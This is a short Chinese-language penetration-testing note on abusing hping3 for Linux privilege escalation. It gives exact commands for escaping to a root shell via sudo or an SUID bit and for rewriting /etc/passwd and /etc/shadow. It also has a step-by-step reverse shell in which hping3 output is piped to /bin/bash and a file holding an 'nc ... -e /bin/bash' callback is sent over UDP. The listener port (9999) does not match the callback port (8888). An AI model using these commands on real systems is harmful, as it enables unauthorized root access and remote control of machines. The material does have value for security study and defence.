当hping3工具有个神奇的地方,hping3支持交互式运行,终端中输入hping3后可以进入一个hping3的控制台,这个控制台不但可以执行hping3自己的命令,也可以把非自身命令定向到shell终端去,当作系统命令执行,因此当hping3具有suid位或者用户有权限通过sudo执行hping3的时候,hping3可以用来被提权。
1、sudo情况
1)如图,当前用户可以sudo免密执行hping3
2)执行如下代码即可提权成为root账户,如图
~:sudo hping3 hping3>/bin/bash
########################## 反弹SHELL ##########################
//顺便记录下hping3通过传输文件进行反弹shell的做法(网上很多文章提到这个环节的步骤,几乎都不能复现,原因在于使用了–safe参数。这个参数是保证文件传输过程中,如果数据包丢失可以重传。本来应该是一个人畜无害的参数,但是确实无法运行,原因没有细究)
1)攻击机监听用nc监听一个端口
nc -lvnp 9999
2) 被攻击机器通过hping3监听流量,并重定向到/bin/bash中
hping3 192.168.146.128 --listen signature --udp -p 5656 -I enp0s3 |/bin/bash
3)攻击机编写反弹shell的bash命令
echo "nc 192.168.146.128 8888 -e /bin/bash" > shell
4)通过hping3将shell命令传送到被攻击机
hping3 192.168.146.136 --udp -p 5656 -d 100 --sign signature --file ./shell
5)现在看之前监听的9999端口应该已经接收到shell了
*PS这个过程个人感觉有点鸡肋,不能用来提权。因为linux下,sudo命令不会被继承到管道符和重定向符之后。也就是说,即使用sudo hping3 …|/bin/bash。执行后得到的shell也不是root权限。既然如此,反弹shell有一万种方式,为什么要用这么一个不稳定的方式。
2、有suid位情况
1)如图,hping3具备suid位
2)直接进入hping3控制台,便具备了root资源的访问权限
此时可以通过改写/etc/passwd和/etc/shadow文件,修改root密码,进而获取root权限